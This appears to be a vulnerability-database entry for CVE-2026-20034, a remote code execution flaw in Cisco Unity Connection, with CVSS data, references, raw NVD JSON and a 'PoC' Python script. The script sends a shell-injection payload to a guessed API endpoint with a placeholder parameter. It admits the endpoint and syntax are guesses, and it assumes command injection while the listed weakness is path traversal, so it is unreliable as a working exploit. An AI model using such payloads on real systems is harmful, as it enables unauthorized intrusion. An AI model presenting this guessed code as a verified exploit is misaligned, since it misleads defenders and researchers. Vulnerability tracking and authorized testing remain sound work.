CVE-2026-20034

Description

A vulnerability in the web-based management interface of Cisco Unity Connection could allow an authenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to execute arbitrary code as root, possibly resulting in the complete compromise of a targeted device. To exploit this vulnerability, the attacker must have valid user credentials on the affected device.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Cisco Unity Connection (具体受影响版本请参考Cisco安全通告 cisco-sa-unity-rce-ssrf-hENhuASy)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "https://<target-ip>/vmrest/api/input"
username = "valid_user"
password = "valid_password"

# Malicious payload attempting command injection
# Note: The specific endpoint and payload syntax depend on the vulnerable API parameter.
payload = "; /bin/sh -c 'whoami'"

# Headers
headers = {
    "User-Agent": "CVE-2026-20034-Scanner",
    "Content-Type": "application/json"
}

try:
    # Sending authenticated request
    response = requests.post(
        target_url,
        auth=(username, password),
        json={"vulnerable_parameter": payload},
        headers=headers,
        verify=False # Ignore SSL certificate for testing
    )

    # Check response
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Response body:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")

except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-20034
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-20034
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-20034/
[4] VulDB https://vuldb.com/cve/CVE-2026-20034
[5] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-unity-rce-ssrf-hENhuASy

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-20034", "sourceIdentifier": "[email protected]", "published": "2026-05-06T17:16:20.093", "lastModified": "2026-05-06T18:59:53.230", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco Unity Connection could allow an authenticated, remote attacker to execute arbitrary code on an affected device.\r\n\r\nThis vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by submitting a crafted API request. A successful exploit could allow the attacker to execute arbitrary code as root, possibly resulting in the complete compromise of a targeted device. To exploit this vulnerability, the attacker must have valid user credentials on the affected device."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-35"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-unity-rce-ssrf-hENhuASy", "source": "[email protected]"}]}}